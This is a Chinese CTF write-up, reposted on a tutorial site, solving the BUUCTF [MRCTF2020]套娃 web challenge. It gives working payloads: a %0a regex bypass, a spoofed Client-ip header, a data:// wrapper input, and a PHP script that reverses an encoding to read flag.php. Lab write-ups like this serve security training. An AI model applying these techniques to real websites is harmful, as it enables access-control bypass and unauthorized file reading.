BUUCTF：[MRCTF2020]套娃-Toy模板网

这篇具有很好参考价值的文章主要介绍了BUUCTF：[MRCTF2020]套娃。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

查看源码发现

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

PHP非法参数名传参问题，详细请参考我的这篇文章：谈一谈PHP中关于非法参数名传参问题

正则这里绕过使用%0a换行符绕过，payload: /?b.u.p.t=23333%0a

得到下一步信息：secrettw.php

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

注释中的是JsFuck，用这个网站去运行即可得到信息：https://jsfuck.com

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

POST传个Merak=mochu7即可查看源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

这里这个getIp()尝试过常见的XFF绕过方法无效，这里也不知道takeip.php，也是看别人的Writeup才知道要添加一个Client-ip请求字段，至于file_get_contents($_GET['2333']) === 'todat is a happy day' 都是老生常谈的考点了，伪协议php://或者data://传入即可。

至于change($_GET['file'])，逆一下change()方法，即可控制file_get_contents()读取文件

<?php 
function change($v) {
	$v = base64_decode($v);
	$re = '';
	for ($i=0; $i < strlen($v); $i++) { 
		$re .= chr(ord($v[$i]) + $i * 2);
	}
	return $re;
}

function unChange($v){
	$re = '';
	for ($i=0; $i < strlen($v); $i++) { 
		$re .= chr(ord($v[$i]) - $i * 2);
	}
	$re = base64_encode($re);
	return $re;
}

$data = "flag.php";
var_dump(Unchange($data));

 ?>

PS C:\Users\Administrator\Downloads> php .\code.php
C:\Users\Administrator\Downloads\code.php:22:
string(12) "ZmpdYSZmXGI="

注意需要添加个请求字段：Client-ip: 127.0.0.1

/secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

查看源码即可获得flag

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020 文章来源地址https://www.toymoban.com/news/detail-732727.html

到了这里，关于BUUCTF：[MRCTF2020]套娃的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

BUUCTF：[MRCTF2020]套娃

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

支付宝扫一扫领取红包，优惠每天领

二维码1

二维码2